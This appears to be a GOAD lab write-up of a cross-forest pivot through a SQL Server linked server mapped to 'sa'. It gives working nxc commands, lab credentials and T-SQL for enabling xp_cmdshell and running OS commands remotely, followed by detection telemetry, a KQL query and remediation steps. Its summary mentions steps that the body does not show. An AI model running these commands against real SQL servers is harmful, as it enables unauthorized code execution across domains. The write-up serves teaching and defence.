In Active Directory penetration testing, operators frequently focus exclusively on LDAP, Kerberos, and Domain Controller attack paths. However, database services deployed on domain member servers frequently maintain independent authentication bridges that pierce domain and forest security boundaries.

A Linked Server in Microsoft SQL Server allows an instance to execute distributed queries and remote procedure calls against external database instances. Crucially, SQL Server decouples the client’s original Kerberos identity from the credential used on the remote target. When a linked server is configured with fixed login mapping:

  1. The client authenticates to the local SQL instance using valid domain credentials.
  2. The client submits a query or RPC request targeting the linked server.
  3. The local SQL Server process establishes an independent connection to the target server, authenticating with static credentials configured in sys.linked_logins (such as the high-privilege sa account).
  4. The remote server executes the command within the security context of the mapped login, completely bypassing Active Directory trust boundaries, SID filtering, and Kerberos ticket validation.

In the GOAD environment, this architecture enables an attacker who has compromised a service account in north.sevenkingdoms.local to execute operating system commands in essos.local as an essos domain principal without authenticating across the Active Directory forest trust.

Phase 1: Local Database Foothold and Privilege Verification

In the second stage of the GOAD assessment, offline cracking of a Kerberoastable Service Principal Name (CIFS/thewall.north.sevenkingdoms.local) yielded credentials for jon.snow:iknownothing. While this account was provisioned for file share services, it also holds sysadmin server-role privileges on the SQL Server instance hosted on member server CASTELBLACK (192.168.56.22).

Connecting via NetExec (nxc) over the Tabular Data Stream (TDS, TCP port 1433) confirms high-privilege access:

$ nxc mssql 192.168.56.22 -u jon.snow -p iknownothing -d north.sevenkingdoms.local
MSSQL  192.168.56.22  1433  CASTELBLACK  [+] north.sevenkingdoms.local\jon.snow:iknownothing (Pwn3d!)

The (Pwn3d!) indicator denotes membership in the sysadmin fixed server role. In manual T-SQL, this is verified via:

SELECT IS_SRVROLEMEMBER('sysadmin');  -- Returns 1 (True)
SELECT SYSTEM_USER, USER_NAME();       -- Returns 'NORTH\jon.snow', 'dbo'

Phase 2: Enumerating Linked Server Topologies

To identify downstream database links, we query SQL Server’s metadata catalog views (sys.servers and sys.linked_logins).

-- Enumerate configured remote and linked servers
SELECT server_id, name, product, provider, data_source, is_linked, is_remote_login, is_rpc_out_enabled 
FROM sys.servers 
WHERE is_linked = 1;

-- Enumerate credential mappings for linked instances
SELECT s.name AS linked_server, l.remote_name, l.uses_self_credential
FROM sys.servers s
JOIN sys.linked_logins l ON s.server_id = l.server_id;

Executing this enumeration through NetExec’s enum_links module:

$ nxc mssql 192.168.56.22 -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M enum_links
ENUM_LINKS  [+] Linked servers found:
ENUM_LINKS  [*]   - BRAAVOS
ENUM_LINKS  [*] Linked server: BRAAVOS
ENUM_LINKS  [*]   - Local login: NORTH\jon.snow
ENUM_LINKS  [*]   - Remote login: sa

Protocol Mechanics: Remote Procedure Call Configuration

Two attributes on sys.servers dictate how commands can be routed to the linked server:

  1. is_data_access_enabled: Enables distributed queries using the OPENQUERY() function.
  2. is_rpc_out_enabled: Enables direct RPC execution using the EXEC (...) AT [ServerName] syntax.

In this environment, BRAAVOS (192.168.56.23, located in essos.local) is configured with is_rpc_out_enabled = 1 and maps all queries from NORTH\jon.snow to the remote sa (System Administrator) SQL login.

Phase 3: Local Command Execution via xp_cmdshell

Prior to traversing the link, operating system command execution on CASTELBLACK is verified using the extended stored procedure xp_cmdshell. In production environments, xp_cmdshell is disabled by default. However, members of sysadmin can re-enable it on demand:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Executing through NetExec:

$ nxc mssql 192.168.56.22 -u jon.snow -p iknownothing -d north.sevenkingdoms.local -x "whoami /all"
MSSQL  [+] Executed command via mssqlexec
MSSQL  north\sql_svc

Service Identity Implications

The command runs in the security context of north\sql_svc. Because SQL Server was configured to run under a domain user account rather than a local virtual service identity (NT SERVICE\MSSQLSERVER) or virtual machine account:

  • The spawned process holds an authentic Kerberos ticket granting identity in north.sevenkingdoms.local.
  • Any process executed through xp_cmdshell inherits domain network access, allowing authenticated interactions with SMB file shares, internal LDAP directories, and Kerberos KDCs.

With BRAAVOS mapped to sa, commands can be executed remotely across the link. First, xp_cmdshell must be enabled on the remote instance by sending a configuration batch through the RPC link:

$ nxc mssql 192.168.56.22 -u jon.snow -p iknownothing -d north.sevenkingdoms.local \
    -M link_enable_cmdshell -o ACTION=enable LINKED_SERVER=BRAAVOS
LINK_ENABLE  [*] Enabling xp_cmdshell on BRAAVOS. Current value: False
LINK_ENABLE  [+] xp_cmdshell enabled on BRAAVOS

Under the hood, this executes the following distributed T-SQL statement:

EXEC ('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [BRAAVOS];

Once enabled, arbitrary operating system commands can be dispatched to BRAAVOS:

$ nxc mssql 192.168.56.22 -u jon.snow -p iknownothing -d north.sevenkingdoms.local \
    -M link_xpcmd -o LINKED_SERVER=BRAAVOS CMD="whoami"
LINK_XPCMD  [*] Running command on BRAAVOS: whoami
LINK_XPCMD  [+] Executed command via linked server
LINK_XPCMD  essos\sql_svc

The command returns essos\sql_svc. An authenticated user from north.sevenkingdoms.local has achieved remote code execution on a tier-1 server in essos.local without possessing any user account, hash, or Kerberos ticket inside the destination forest.

SQL SERVER LINKED-SERVER CHAIN · TRANSIT WITHOUT KERBEROS TRUST BOUNDARIES 1 · CASTELBLACK (.22) SRV02 · north domain Login: jon.snow (sysadmin) sp_configure xp_cmdshell, 1 Local SQL instance access LOCAL CODE EXECUTION cmd.exe / powershell.exe Runs as: north\sql_svc Status: Local Host Compromised Enum 2 · LINKED SERVER PIVOT Target Link: BRAAVOS EXEC sp_linkedservers data_access = 1 · rpc_out = 1 Transparent proxy tunnel SECURITY CONTEXT MAP Local: Any caller Remote: sa (Sysadmin) Status: Cross-Forest Link Active EXEC AT 3 · BRAAVOS (.23) SRV03 · essos.local Remote xp_cmdshell enabled Zero Kerberos tickets used No trust authentication logged REMOTE FOREST RCE whoami: essos\sql_svc Tier-1 Host Compromised STATUS: PIVOT COMPLETE BOUNDARY IMPLICATION · sa-mapped SQL link silently pierces forest trust boundaries without Kerberos audit EXECUTION CHAIN: CASTELBLACK (north\sql_svc) → OPENQUERY(BRAAVOS) → BRAAVOS (essos\sql_svc)
The chain: jon.snow is sysadmin on castelblack, gets code execution as north\sql_svc, and pivots through the sa-mapped linked server to run commands on braavos as essos\sql_svc.

Defensive Engineering and Detection Telemetry

Forensic Artifacts and Telemetry Matrix

SourceEvent IDDescriptionTelemetry Context
SQL Server15457Configuration option changedLogs alterations to show advanced options and xp_cmdshell in the Application log.
Sysmon1Process CreationParent image sqlservr.exe spawning child shell processes (cmd.exe or powershell.exe).
Windows Security4624Successful LogonType 3 (Network) logon on BRAAVOS originating from CASTELBLACK IP over port 1433 without Active Directory trust referral tickets.
SQL Server AuditSCHEMA_OBJECT_ACCESSStored Procedure ExecutionTracks execution of xp_cmdshell or sp_linkedservers.
// KQL Query: Detect cmd.exe or powershell.exe Spawned by SQL Server
DeviceProcessEvents
| where InitiatingProcessFileName =~ "sqlservr.exe"
| where FileName in~ ("cmd.exe", "powershell.exe", "pwsh.exe", "whoami.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, AccountName

Remediation Protocols

  1. Enforce Least Privilege Mapping: Never map remote linked server connections to sa. Instead, create a dedicated SQL login on the remote instance constrained to the specific database tables required, granting only SELECT or EXECUTE rights on narrow stored procedures.
  2. Disable Remote RPC Out: Where distributed queries are required for reporting, disable RPC out calls: 
    EXEC sp_serveroption @server = 'BRAAVOS', @optname = 'rpc out', @optvalue = 'FALSE';
  3. Migrate Service Accounts to gMSAs: Migrate database service accounts from standard domain users to group Managed Service Accounts (gMSAs). This prevents password cracking (Kerberoasting) and restricts interactive or network token generation.
  4. Remove Application Logins from sysadmin: Ensure application service accounts and developer accounts do not reside in the sysadmin fixed server role.

Evidence and limits

The MSSQL linked-server enumeration, EXECUTE AS LOGIN impersonation, xp_cmdshell activation, and bidirectional SRV02 ↔ SRV03 cross-forest pivot were executed inside the isolated GOAD lab (192.168.56.22 and 192.168.56.23). All database logins and service accounts belong to GOAD’s pre-seeded SQL Server instances.

References

Sources & freshness

How current is this note?

Sources checkedNovember 5, 2026

The latest source-review, content-update, or publication date is shown.

ReviewPublic sources reviewed

Primary public records were checked. Environment-specific behavior remains outside the claim unless separately reproduced.